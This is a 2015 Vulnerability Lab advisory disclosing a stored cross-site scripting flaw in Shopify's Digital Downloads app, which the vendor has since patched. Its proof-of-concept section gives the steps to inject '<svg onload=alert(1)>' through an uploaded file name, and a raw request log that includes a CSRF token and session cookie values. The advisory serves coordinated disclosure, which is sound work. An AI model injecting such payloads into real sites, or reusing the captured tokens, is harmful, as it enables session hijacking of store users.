Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1592


Release Date:
=============
2015-09-04


Vulnerability Laboratory ID (VL-ID):
====================================
1593


Common Vulnerability Scoring System:
====================================
4.1


Product & Service Introduction:
===============================
Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online 
stores and retail 
point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders 
for their online snowboard store.

(Copy of the Vendor Homepage: http://www.shopify.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in 
the official Shopify online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-08-09: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)
2015-08-11: Vendor Notification (Shopify - Security & Bug Bounty Team)
2015-08-13: Vendor Response/Feedback (Shopify - Security & Bug Bounty Team
2015-08-14: Vendor Fix/Patch (Shopify - Developer Team)
2015-09-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shopify Inc.
Product: Shopify - Online Service (Web-Application) 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side validation vulnerability has been discovered in the official Shopify online service web-application.
The vulnerability allows remote attackers to comrpomise user accounts by persistent malicious inject of script codes.

The vulnerability has been located in the `attachment%5Bfilepath` value of the `attachments` module POST method 
request. Remote attackers 
are able to inject malicious script codes to the application-side of the online-service module. The request method to 
inject is POST and 
the attack vector is located on the application-side of the service. The attacker manipulates via live session tamper 
the `attachment > 
filepath` value to compromise the follow up application GET method requests. 

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 4.1. 
Exploitation of the input and validation web vulnerability requires low or medium user interaction and no privilege 
web-application user account. 
Successful exploitation of the persistent web vulnerability results in session hijacking, persistent phishing attacks, 
persistent redirects to external 
malicious source and persistent manipulation of affected or connected module context.

Request Method(s):
                                [+] POST

Vulnerable Page:
                                [+] attachments 

Vulnerable Parameter(s):
                                [+] attachment%5Bfilepath


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with low privilege application user account and low 
user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the vulnerability in shopify ...
1. Installing the Digital Downloads App in *.myshopify.com
2. Install the app https://apps.shopify.com/digital-downloads
3. Select product and click Add Digital Attachment 
4. Click to upload file and upload file with name <svg onload=alert(1)>
5. The code <svg onload=alert(1)> will execute XSS
Note: <span class="file-name"><strong>Success:</strong> <svg onload="alert(1)"/></span>  [tested and verified with 
mozilla firefox]
6. Successful reproduce of the remote vulnerability!


--- PoC Session Logs [POST] ---
POST https://delivery.shopifyapps.com/attachments 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Content Size[-1] Mime Type[application/json]
   Request Headers:
      Host[delivery.shopifyapps.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
      Accept[*/*]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      X-CSRF-Token[tQMmbiufetQoGo8QyilppAQXeTiMl1gBOHh3fY1JroxPQRl0GppuRe8XYOiPUI3F2gW93r5Vbqwo+mTzmU2spQ==]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      
Referer[https://delivery.shopifyapps.com/products/1381861509?hmac=42ee70e18d01e5e4a3d323a002f2a9454bbe6ce3baed5795ba6ed7bd4ee37de1&protocol=https%3A%2F%2F&shop=testdz-2.myshopify.com&signature=942719fd26a31a2ab2ea9167923a6cad×tamp=1439553626]
      Content-Length[248]
      
Cookie[_delivery_session=TDdkTnNiWk8rMFhUNnl2d0diRVNrYzVSM00rdysyZmMzeDRRV1JlcGk5WEZrRjF2OHRUUG01NkdnM0hrcEQ2YnA2cllVcnJjMjY5dDRSdlZjNnJ3RGg2L1JXelRvQmk0QnZNRzRvVGJ1akJ0aW54VE5TWnhIV0k2QUpIS0tHczNEcjcxZFNWVFJxODMwTlY2ZU9qQVdDR0NmcFk1dXdzMU5aRE5Fd2JPakNXakJvdnM0S1BXR1pyYlFnRjRQd0tEbGJTdGg4RlBscEh1NzhkQjhiZzRFS2pqZkk4ZTZ4Q1UrM0ZJMGs1ZlZkNmk1T0NWWUMxdnFTSzJSellHTVMyV3ZyTXJVMTdCZEk3eU52V3Z4Y1EzT0hEV2dBdEV4OU9EcW9JbjR0RWRNNGU2dyt4OS9LVjBtT1oxQVZZbHVNNGtyY01mTDh5YkVieHI0dDRyOWZzM0hWYXRWMWtIKzAzQWt6c2dUK2lieG8wPS0tRDZoRFRrbmU0aHRBMitoeTMvVmlBQT09--88390748471908d3c4b05dec54c02be53c163262]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   Post Data:
      attachment%5Bfilepath%5D[%3Csvg+onload%3Dalert('xss_by_samir')%3E]
      attachment%5Bfilesize%5D[0]
      attachment%5Bfile_content_type%5D[]
      attachment%5Bproduct_id%5D[1381861509]
      attachment%5Bvariant_id%5D[4244815685]
      attachment%5Bupload_status%5D[authenticating]
   Response Headers:
      Server[Cowboy]
      Connection[close]
      Date[Fri, 14 Aug 2015 12:00:41 GMT]
      Status[200 OK]
      X-XSS-Protection[1; mode=block]
      X-Content-Type-Options[nosniff]
      P3P[CP="Shopify does not support P3P."]
      Content-Type[application/json; charset=utf-8]
      Etag[W/"d50fff924fa2e268191b45876ef9aa2f"]
      Cache-Control[max-age=0, private, must-revalidate]
      
Set-Cookie[_delivery_session=dXVldzlGWkNkZHluMDE2SEt5N1RMeURnVDdnYU0rK3dlekVReHExTTBEMEdBdVJ0SDJvcVRXYUhxdGl3TVRCdlY1N1dGZ1FaTWNycVVzc0x6dmhTOVN5L05rcko5VGdLN3BRZFBVODVjWFhvTnBEUDFkc21yN2RkRjlGekdDYU9MdTY0UTBsZFhzUkE2R2ptMU95U25udS9iZGM5d3VlcTVFT3UrR2wyR2JRL3R1K1paeWRNcVdsTGloZ1N5WVZsZERDamY4MWsveldCcU5GTTM1cW01ZURKbXNCRzZia3RqRkgrY0lSd09yeEREQmR2a0dvaGc0V1hBWUhnclI1Zy92aDlHTnFYaFhlUVJzUjNGWUFhR1VGRXA5ZFhZQmNTNlVKNkU0VVBTc0pQSkdyWk4wczQ1N1dXQVZNcHFRM2ZjUmMyYmx0UU1uMzlyVEdBME1rKzhLYmxRLzQ5aWNEaHBMcFBKU091MC9VPS0tUXNpUkM1cks5NHp5ZWFZbTFIcDBPdz09--2d0ebbcf2adcca4a94ee12e732b4900085faa6e0;
 path=/; HttpOnly]
      X-Request-Id[817696c4-6ccf-4a95-a497-3c1c4219085b]
      X-Runtime[0.133538]
      Via[1.1 vegur]

          
Reference(s):
https://delivery.shopifyapps.com/
https://delivery.shopifyapps.com/attachments 


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the shopify frontend is estimated as 
medium. (CVSS 4.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir () evolution-sec com]


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=========================
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